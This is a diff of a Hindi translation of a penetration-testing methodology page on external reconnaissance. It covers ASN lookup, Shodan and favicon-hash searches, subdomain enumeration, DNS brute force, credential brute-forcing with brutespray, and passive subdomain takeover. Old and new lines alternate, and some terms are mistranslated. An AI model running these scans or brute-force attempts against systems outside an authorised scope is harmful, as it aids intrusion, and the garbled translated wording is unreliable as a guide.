एक **AS** में **ब्लॉक** होते हैं जिनमें **IP पते** होते हैं जिनके लिए बाहरी नेटवर्कों तक पहुंचने के लिए एक स्पष्ट नीति होती है और एक ही संगठन द्वारा प्रबंधित होते हैं लेकिन कई ऑपरेटर्स से मिलकर बने हो सकते हैं।
|
||||
|
||||
यह दिलचस्प होगा कि क्या **कंपनी ने कोई ASN सौंपा है** ताकि इसके **आईपी रेंज** पता लगाया जा सके। स्कोप के सभी **होस्ट** के खिलाफ एक **सुरक्षा जांच** करना दिलचस्प होगा और इन आईपी में **डोमेन** खोजना।\
|
||||
आप [**https://bgp.he.net/**](https://bgp.he.net) में कंपनी के **नाम**, **आईपी** या **डोमेन** से खोज कर सकते हैं।\
|
||||
**कंपनी क्षेत्र के आधार पर यह लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तर अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। जैसे-जैसे, शायद सभी** उपयोगी जानकारी **(आईपी रेंज और व्हूइस)** पहले ही लिंक में दिखाई देती है।
|
||||
यह दिलचस्प होगा कि क्या **कंपनी ने किसी ASN को सौंपा है** ताकि इसके **IP रेंज** पता लगाया जा सके। स्कोप के सभी **होस्ट** के खिलाफ एक **सुरक्षा जांच** करना दिलचस्प होगा और इन IP में डोमेन्स की खोज करनी होगी।\
|
||||
आप [**https://bgp.he.net/**](https://bgp.he.net) में कंपनी के **नाम**, **IP** या **डोमेन** से खोज कर सकते हैं।\
|
||||
**कंपनी के क्षेत्र के आधार पर यह लिंक अधिक डेटा जुटाने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तर अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। फिर भी, संभावना है कि सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में ही दिखाई देती है।
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
इसके अलावा, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**की** सबडोमेन जांच स्वचालित रूप से स्कैन के अंत में ASNs को संकलित और सारांशित करती है।
|
||||
इसके अलावा, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** सबडोमेन जांच स्वचालित रूप से स्कैन के अंत में ASNs को संकलित और संक्षेपित करता है।
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -70,21 +70,21 @@ bbot -t tesla.com -f subdomain-enum
|
|||
|
||||
```
|
||||
आप एक संगठन के IP रेंज भी [http://asnlookup.com/](http://asnlookup.com) का उपयोग करके पा सकते हैं (इसमें मुफ्त API है)।\
|
||||
आप एक डोमेन का IP और ASN [http://ipv4info.com/](http://ipv4info.com) का उपयोग करके पा सकते हैं।
|
||||
आप एक डोमेन का IP और ASN भी [http://ipv4info.com/](http://ipv4info.com) का उपयोग करके पा सकते हैं।
|
||||
|
||||
### **वंरबिलिटीज़ खोजना**
|
||||
|
||||
इस बिंदु पर हमें **दायरा में सभी संपत्तियों का पता चल गया है**, इसलिए यदि आपको अनुमति है तो आप कुछ **वंरबिलिटी स्कैनर** (Nessus, OpenVAS) को सभी होस्ट पर लॉन्च कर सकते हैं।\
|
||||
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) भी कर सकते हैं **या शोडन जैसी सेवाओं का उपयोग करके** खुले पोर्ट्स **खोजने के लिए और आपको जो मिलता है उसके आधार पर** इस पुस्तक में कैसे पेंटेस्ट करना है उसे देखना चाहिए।\
|
||||
**इसके अलावा, यह उल्लेखनीय हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता **और** पासवर्ड **सूचियाँ भी तैयार कर सकते हैं और [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) का उपयोग करके सेवाओं को** ब्रूटफ़ोर्स **कर सकते हैं।
|
||||
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) भी **लॉन्च कर सकते हैं या खोले गए पोर्ट्स खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और आपको जो मिले है उसकी आधार पर इस पुस्तक में कैसे पेंटेस्ट करना चाहिए इसे** देखना चाहिए।\
|
||||
**इसके अलावा, यह उल्लेखनीय हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ भी तैयार कर सकते हैं और [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) का उपयोग करके सेवाओं को** ब्रूटफ़ोर्स **कर सकते हैं।
|
||||
|
||||
## डोमेन
|
||||
|
||||
> हमें दायरा में सभी कंपनियों और उनकी संपत्तियों का पता चल गया है, अब समय है दायरा में डोमेन्स को खोजने का।
|
||||
> हमें दायरा में सभी कंपनियों और उनकी संपत्तियों का पता चल गया है, अब समय है दायरा में डोमेन्स खोजने का।
|
||||
|
||||
_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप सबडोमेन्स भी पा सकते हैं और उस जानकारी को कम महत्व न दें।_
|
||||
|
||||
सबसे पहले आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की खोज करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा।
|
||||
सबसे पहले आपको प्रत्येक कंपनी के **मुख्य डोमेन**(स) की खोज करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा।
|
||||
|
||||
### **रिवर्स DNS**
|
||||
|
||||
|
@ -97,7 +97,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
```
|
||||
### **पलटें व्हॉइस (लूप)**
|
||||
|
||||
एक **व्हॉइस** में आपको कई दिलचस्प **जानकारी** जैसे **संगठन का नाम**, **पता**, **ईमेल**, फोन नंबर... मिल सकती है। लेकिन और भी दिलचस्प है कि आप कंपनी से संबंधित **अधिक संपत्तियाँ** खोज सकते हैं अगर आप **उन क्षेत्रों में से किसी भी के द्वारा पलटें व्हॉइस लुकअप करते हैं** (उदाहरण के लिए जहां एक ही ईमेल प्रकट होता है, वहां अन्य व्हॉइस रजिस्ट्रीज में)।\
|
||||
एक **व्हॉइस** के अंदर आपको कई दिलचस्प **जानकारी** मिल सकती है जैसे **संगठन का नाम**, **पता**, **ईमेल**, फोन नंबर... लेकिन और भी दिलचस्प है कि आप कंपनी से संबंधित **अधिक संपत्तियाँ** खोज सकते हैं अगर आप **उन क्षेत्रों में से किसी भी क्षेत्र के लिए पलटें व्हॉइस लुकअप** करते हैं (उदाहरण के लिए जहां एक ही ईमेल प्रकट होता है, वहां अन्य व्हॉइस रजिस्ट्रीज में)।\
|
||||
आप ऑनलाइन उपकरणों का उपयोग कर सकते हैं:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **मुफ्त**
|
||||
|
@ -108,7 +108,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - मुफ्त नहीं (केवल **100 मुफ्त** खोजें)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - मुफ्त नहीं
|
||||
|
||||
आप इस कार्य को [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API कुंजी की आवश्यकता है) का उपयोग कर सकते हैं।\
|
||||
आप इस कार्य को [**DomLink** ](https://github.com/vysecurity/DomLink)(whoxy API कुंजी की आवश्यकता है) का उपयोग करके स्वचालित कर सकते हैं।\
|
||||
आप [amass](https://github.com/OWASP/Amass) के साथ कुछ स्वचालित पलटें व्हॉइस डिस्कवरी भी कर सकते हैं: `amass intel -d tesla.com -whois`
|
||||
|
||||
**ध्यान दें कि आप इस तकनीक का उपयोग करके हर बार जब आप एक नया डोमेन खोजते हैं, अधिक डोमेन नामों की खोज करने के लिए इस तकनीक का उपयोग कर सकते हैं।**
|
||||
|
@ -128,7 +128,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **फेविकॉन**
|
||||
|
||||
क्या आप जानते हैं कि हम लक्ष्य के संबंधित डोमेन और सब-डोमेन खोज सकते हैं जब हम एक ही फेविकॉन आइकन हैश की खोज करते हैं? यह वही है जिसे [@m4ll0k2](https://twitter.com/m4ll0k2) द्वारा बनाए गए [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) उपकरण करता है। यहाँ इसका उपयोग कैसे करें:
|
||||
क्या आप जानते हैं कि हम लक्ष्य के संबंधित डोमेन और सब-डोमेन खोज सकते हैं जब हम समान फेविकॉन आइकन हैश की खोज करते हैं? यह वही है जिसे [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) उपकरण द्वारा किया जाता है जिसे [@m4ll0k2](https://twitter.com/m4ll0k2) ने बनाया है। यहाँ है कैसे इसका उपयोग करें:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -137,7 +137,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
सीधे शब्दों में कहा जाए, favihash हमें हमारे लक्ष्य के साथ समान favicon आइकन हैश वाले डोमेन खोजने की अनुमति देगा।
|
||||
|
||||
इसके अतिरिक्त, आप फेविकॉन हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में स्पष्ट किया गया है। इसका मतलब है कि यदि आपको किसी वेब तकनीक के एक संक्षिप्त संस्करण के favicon का हैश पता है तो आप शोडन में खोज कर सकते हैं और **और अधिक संकटपूर्ण स्थानों** को खोज सकते हैं।
|
||||
इसके अतिरिक्त, आप फेविकॉन हैश का उपयोग करके तकनीकों की खोज भी कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में स्पष्ट किया गया है। इसका मतलब है कि यदि आपको किसी वेब तकनीक के एक संक्षिप्त संस्करण के favicon का हैश पता है तो आप शोडन में खोज कर सकते हैं और **और अधिक वंशास्पद स्थान** खोज सकते हैं।
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -165,58 +165,60 @@ return fhash
|
|||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### वेबसाइट पर सभी डोमेन प्रमाणपत्रों को नवीनीकृत करना। इसका मतलब है कि यदि इसके लिए उपयोग किया गया सीए इसे जन्मने का समय सेट नहीं करता है, तो **प्रमाणपत्र स्पष्टता लॉग्स में समान कंपनी के डोमेन खोजना संभव है**।\
|
||||
### बाहरी जासूसी विधि
|
||||
|
||||
सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकृत करने के लिए। इसका मतलब है कि यदि इसके लिए उपयोग किया गया सीए इसे जन्मने का समय वैधता समय में सेट नहीं करता है, तो **प्रमाणपत्रता लॉग में उसी कंपनी के डोमेन खोजना संभव है**।\
|
||||
अधिक जानकारी के लिए [**यह लेख देखें**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)।
|
||||
|
||||
### मेल DMARC जानकारी
|
||||
|
||||
आप एक वेब जैसे [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) या एक टूल जैसे [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) का उपयोग करके **डोमेन और सबडोमेन साझा करने वाली डीमार्क जानकारी खोज सकते हैं**।
|
||||
आप एक वेब जैसे [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) या एक टूल जैसे [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) का उपयोग करके **उसी DMARC जानकारी को साझा करने वाले डोमेन और उप-डोमेन खोजने** के लिए कर सकते हैं।
|
||||
|
||||
### **पैसिव ताकता**
|
||||
### **निषेधात्मक अधिकार**
|
||||
|
||||
ऐसा लगता है कि लोगों के लिए सामान्य है कि वे सबडोमेन को ऐसे आईपी पर सौंपते हैं जो क्लाउड प्रदाताओं के होते हैं और किसी समय **उस आईपी पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाने के बारे में भूल जाते हैं**। इसलिए, बस एक वीएम को क्लाउड में (जैसे Digital Ocean) **उत्पन्न करने से आप वास्तव में कुछ सबडोमेन(s) को ताकते हैं**।
|
||||
ऐसा लगता है कि लोगों के लिए सामान्य है कि वे उनके उपयोगकर्ता द्वारा उप-डोमेनों को वहाँ आईपी में सौंपते हैं जो क्लाउड प्रदाताओं के होते हैं और किसी समय **उस आईपी पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाने के बारे में भूल जाते हैं**। इसलिए, बस एक वीएम को उठाने के लिए एक क्लाउड में (जैसे Digital Ocean) आप वास्तव में **कुछ उप-डोमेनों को अधिकार में ले रहे होंगे**।
|
||||
|
||||
[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक कहानी समझाता है और एक स्क्रिप्ट का प्रस्ताव देता है जो **DigitalOcean में एक वीएम उत्पन्न करता है**, नए मशीन का **IPv4** प्राप्त करता है, और उस पर पॉइंट करने वाले सबडोमेन रिकॉर्ड के लिए Virustotal में खोज करता है।
|
||||
[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक कहानी समझाता है और एक स्क्रिप्ट का प्रस्ताव देता है जो **DigitalOcean में एक वीएम को उत्पन्न करता है**, नए मशीन का **IPv4** प्राप्त करता है, और उस पर पॉइंट करने वाले उप-डोमेन रिकॉर्ड के लिए Virustotal में खोज करता है।
|
||||
|
||||
### **अन्य तरीके**
|
||||
|
||||
**ध्यान दें कि आप इस तकनीक का उपयोग करके हर बार जब आप एक नया डोमेन खोजते हैं, अधिक डोमेन नामों की खोज करने के लिए कर सकते हैं।**
|
||||
**ध्यान दें कि आप इस तकनीक का उपयोग करके हर बार जब आप एक नया डोमेन खोजते हैं तो अधिक डोमेन नामों की खोज कर सकते हैं।**
|
||||
|
||||
**शोडन**
|
||||
|
||||
आपको पहले से ही पता है कि आईपी स्पेस के मालिकाना कंपनी का नाम। आप उस डेटा के आधार पर शोडन में उस डेटा की खोज कर सकते हैं: `org:"Tesla, Inc."` टीएलएस प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट्स की जांच करें।
|
||||
आपको पहले से ही पता है कि आईपी स्थान के स्वामी संगठन का नाम। आप उस डेटा के आधार पर शोडन में उस डेटा की खोज कर सकते हैं: `org:"Tesla, Inc."` टीएलएस प्रमाणपत्र में नए अप्रत्याशित डोमेनों के लिए पाए गए होस्ट्स की जांच करें।
|
||||
|
||||
आप मुख्य वेब पृष्ठ के **टीएलएस प्रमाणपत्र** तक पहुंच सकते हैं, **संगठन का नाम प्राप्त कर सकते हैं** और फिर उस नाम की खोज कर सकते हैं **शोडन** के सभी वेब पृष्ठों के **टीएलएस प्रमाणपत्रों** में जिनका फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसा एक टूल का उपयोग करें।
|
||||
आप मुख्य वेब पृष्ठ का **टीएलएस प्रमाणपत्र** तक पहुंच सकते हैं, नए मशीन का **संगठन नाम प्राप्त कर सकते हैं** और फिर उस नाम की खोज कर सकते हैं **शोडन** के सभी वेब पृष्ठों के **टीएलएस प्रमाणपत्रों** में जिन्हें फ़िल्टर के साथ जाना जाता है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसा एक टूल का उपयोग करें।
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) एक टूल है जो एक मुख्य डोमेन से संबंधित **डोमेन** और उनके **सबडोमेन** की खोज करता है, बहुत शानदार।
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) एक टूल है जो एक मुख्य डोमेन से संबंधित **डोमेनों की खोज** करता है और उनके **उप-डोमेन** , बहुत शानदार।
|
||||
|
||||
### **दुर्बलताओं की खोज**
|
||||
|
||||
कुछ [डोमेन ताकता](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) की जांच करें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही हो** लेकिन उन्होंने **स्वामित्व खो दिया हो**। बस इसे रजिस्टर करें (यदि पर्याप्त सस्ता है) और कंपनी को सूचित करें।
|
||||
कुछ [डोमेन अधिकार](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांच करें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही हो** लेकिन उन्होंने **स्वामित्व खो दिया हो**। बस इसे रजिस्टर करें (यदि पर्याप्त सस्ता है) और कंपनी को सूचित करें।
|
||||
|
||||
यदि आपको किसी **डोमेन मिलता है जिसका आईपी अलग है** जो आपने पहले assets discovery में पाए हैं, तो आपको एक **मूलभूत दुर्बलता स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) करना चाहिए **nmap/masscan/shodan** के साथ। यह किस सेवाएं चल रही हैं उन्हें आप इस पुस्तक में "उन्हें" हमला करने के लिए कुछ ट्रिक्स मिल सकती हैं।\
|
||||
_ध्यान दें कि कभी-कभी डोमेन उस आईपी के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं है, इसलिए यह स्कोप में नहीं है, सावधान रहें।_
|
||||
यदि आपको किसी **डोमेन मिलता है जिसका आईपी अलग है** जो आपने पहले ही असेट्स डिस्कवरी में पाए हैं, तो आपको एक **मूलभूत दुर्बलता स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) करना चाहिए **nmap/masscan/shodan** के साथ। जिस सेवाएं चल रही हैं, उन्हें "हमला" करने के लिए **इस पुस्तक में कुछ ट्रिक्स मिल सकती हैं**।\
|
||||
_ध्यान दें कि कभी-कभी डोमेन उस आईपी के अंदर होस्ट किया जाता है जिस पर ग्राहक का नियंत्रण नहीं है, इसलिए यह स्कोप में नहीं है, सावधान रहें।_
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**बग बाउंटी सुझाव**: **Intigriti** के लिए **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाया गया है, हैकर्स के लिए**! हमारे साथ जुड़ें [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) आज ही, और शुरू करें बाउंटी अप तक **$100,000** तक कमाने का!
|
||||
**बग बाउंटी टिप**: **साइन अप** करें **Intigriti** के लिए, हैकर्स द्वारा बनाई गई एक प्रीमियम **बग बाउंटी प्लेटफॉर्म**! आज हमारे साथ जुड़ें [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) और शुरू करें बाउंटी अप तक **$100,000** तक कमाने का!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## सबडोमेन
|
||||
## उप-डोमेन
|
||||
|
||||
> हम स्कोप में सभी कंपनियों को जानते हैं, प्रत्येक कंपनी के सभी संपत्तियों को और सभी कंपनियों से संबंधित सभी डोमेनों को।
|
||||
> हमें स्कोप के भीतर सभी कंपनियों को, प्रत्येक कंपनी के सभी निगमों को और सभी कंपनियों से संबंधित सभी डोमेनों को पता है।
|
||||
|
||||
अब हमें प्राप्त किए गए प्रत्येक डोमेन के संभावित सभी सबडोमेन खोजने का समय है।
|
||||
अब हमें प्राप्त हुए प्रत्येक डोमेन के संभावित सभी उप-डोमेन खोजने का समय है।
|
||||
|
||||
{% hint style="success" %}
|
||||
ध्यान दें कि कुछ उपकरण और तकनीकें डोमेन खोजने में सबडोमेन खोजने में भी मदद कर सकती हैं!
|
||||
ध्यान दें कि कुछ उप-डोमेन खोजने के लिए उपकरण और तकनीकें उप-डोमेन खोजने में मदद कर सकती हैं!
|
||||
{% endhint %}
|
||||
|
||||
### **DNS**
|
||||
|
||||
हमें **DNS** रिकॉर्ड से **सबडोमेन** प्राप्त करने का प्रयास करना चाहिए। हमें **ज़ोन ट्रांसफर** के लिए भी प्रयास करना चाहिए (यदि वंशानुवादी है, तो आपको इसे रिपोर्ट करना चाहिए)।
|
||||
हमें **DNS** रिकॉर्ड से **उप-डोमेन** प्राप्त करने का प्रयास करना चाहिए। हमें **ज़ोन ट्रांसफर** के लिए भी प्रयास करना चाहिए (यदि वंशानुक्रमणी है, तो आपको इसे रिपोर्ट करना चाहिए)।
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -235,7 +237,7 @@ bbot -t tesla.com -f subdomain-enum -rf passive
|
|||
# subdomains + port scan + web screenshots
|
||||
bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
|
||||
```
|
||||
* [**आमास**](https://github.com/OWASP/Amass)
|
||||
* [**Amass**](https://github.com/OWASP/Amass)
|
||||
```bash
|
||||
amass enum [-active] [-ip] -d tesla.com
|
||||
amass enum -d tesla.com | grep tesla.com # To just list subdomains
|
||||
|
@ -263,7 +265,7 @@ assetfinder --subs-only <domain>
|
|||
# It requires that you create a sudomy.api file with API keys
|
||||
sudomy -d tesla.com
|
||||
```
|
||||
* [**वीटा**](https://github.com/junnlikestea/vita)
|
||||
* [**विटा**](https://github.com/junnlikestea/vita)
|
||||
```
|
||||
vita -d tesla.com
|
||||
```
|
||||
|
@ -303,7 +305,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** किसी दिए गए डोमेन से AlienVault के ओपन थ्रेट एक्सचेंज, वे बैक मशीन, और कॉमन क्रॉल से ज्ञात यूआरएल लाता है।
|
||||
* [**gau**](https://github.com/lc/gau)**:** किसी दिए गए डोमेन से AlienVault के ओपन थ्रेट एक्सचेंज, द वेबैक मशीन, और कॉमन क्रॉल से ज्ञात यूआरएल लाता है।
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -333,18 +335,18 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) के पास सबडोमेन्स और आईपी इतिहास खोजने के लिए एक मुफ्त API है
|
||||
* [**securitytrails.com**](https://securitytrails.com/) में एक मुफ्त API है जिसका उपयोग सबडोमेन्स और आईपी इतिहास की खोज के लिए किया जा सकता है
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
यह परियोजना **मुफ्त में सभी बग-बाउंटी कार्यक्रमों से संबंधित सभी सबडोमेन्स** प्रदान करती है। आप इस डेटा तक पहुंच सकते हैं [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके या इस परियोजना द्वारा उपयोग किए जाने वाले स्कोप तक पहुंच सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
यह परियोजना **मुफ्त में सभी सबडोमेन्स प्रदान करती है जो बग-बाउंटी कार्यक्रमों से संबंधित हैं**। आप इस डेटा तक पहुंच सकते हैं [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके या इस परियोजना द्वारा उपयोग किए जाने वाले स्कोप तक पहुंच सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
आप इन उपकरणों की **तुलना** यहाँ कर सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNS ब्रूट फोर्स**
|
||||
|
||||
चलिए नए **सबडोमेन्स** ढूंढने के लिए DNS सर्वर्स को brute-force करते हैं संभावित सबडोमेन नामों का उपयोग करके।
|
||||
चलिए नए **सबडोमेन्स** ढूंढने के लिए DNS सर्वरों को ब्रूट-फोर्सिंग करने का प्रयास करें जिसमें संभावित सबडोमेन नामों का उपयोग किया जाता है।
|
||||
|
||||
इस क्रिया के लिए आपको कुछ **सामान्य सबडोमेन वर्डलिस्ट शब्द सूचियाँ चाहिए जैसे**:
|
||||
इस क्रिया के लिए आपको कुछ **सामान्य सबडोमेन वर्डलिस्ट की आवश्यकता होगी जैसे**:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
|
@ -352,11 +354,11 @@ python3 DomainTrail.py -d example.com
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
और भी अच्छे DNS रिज़ॉल्वर्स के आईपी। विश्वसनीय DNS रिज़ॉल्वर्स की सूची उत्पन्न करने के लिए आप रिज़ॉल्वर्स को डाउनलोड कर सकते हैं [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप इस्तेमाल कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
और भी अच्छे DNS रिज़ॉल्वर्स के आईपी। विश्वसनीय DNS रिज़ॉल्वर्स की सूची उत्पन्न करने के लिए आप उन्हें डाउनलोड कर सकते हैं [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप इस्तेमाल कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
DNS ब्रूट फोर्स के लिए सबसे अधिक सिफारिश की जाने वाली उपकरण हैं:
|
||||
DNS ब्रूट फोर्स के लिए सबसे अधिक सिफारिश किए गए उपकरण हैं:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): यह पहला उपकरण था जो एक प्रभावी DNS ब्रूट फोर्स करता था। यह बहुत तेज़ है हालांकि यह गलत सकारात्मक के लिए प्रवृत है।
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): यह पहला उपकरण था जो एक प्रभावी DNS ब्रूट फोर्स करता था। यह बहुत तेज है हालांकि यह गलत सकारात्मक के लिए प्रवृत है।
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -366,7 +368,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) एक `massdns` के आसपास लिखा गया व्रैपर है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके वैध सबडोमेन्स की जांच करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ सबडोमेन्स को सुलझाने की अनुमति देता है।
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) एक `massdns` के आसपास लिखा गया wrapper है, जो आपको active bruteforce का उपयोग करके मान्य subdomains की जांच करने की अनुमति देता है, साथ ही wildcard handling और आसान input-output समर्थन के साथ subdomains को resolve करने की अनुमति देता है।
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -382,33 +384,33 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
|
||||
ओपन सोर्सेज और ब्रूट-फोर्सिंग का उपयोग करके सबडोमेन्स पाने के बाद, आप पाए गए सबडोमेन्स के बदलाव उत्पन्न कर सकते हैं ताकि और भी अधिक पाए जा सकें। इस उद्देश्य के लिए कई उपकरण उपयोगी हैं:
|
||||
|
||||
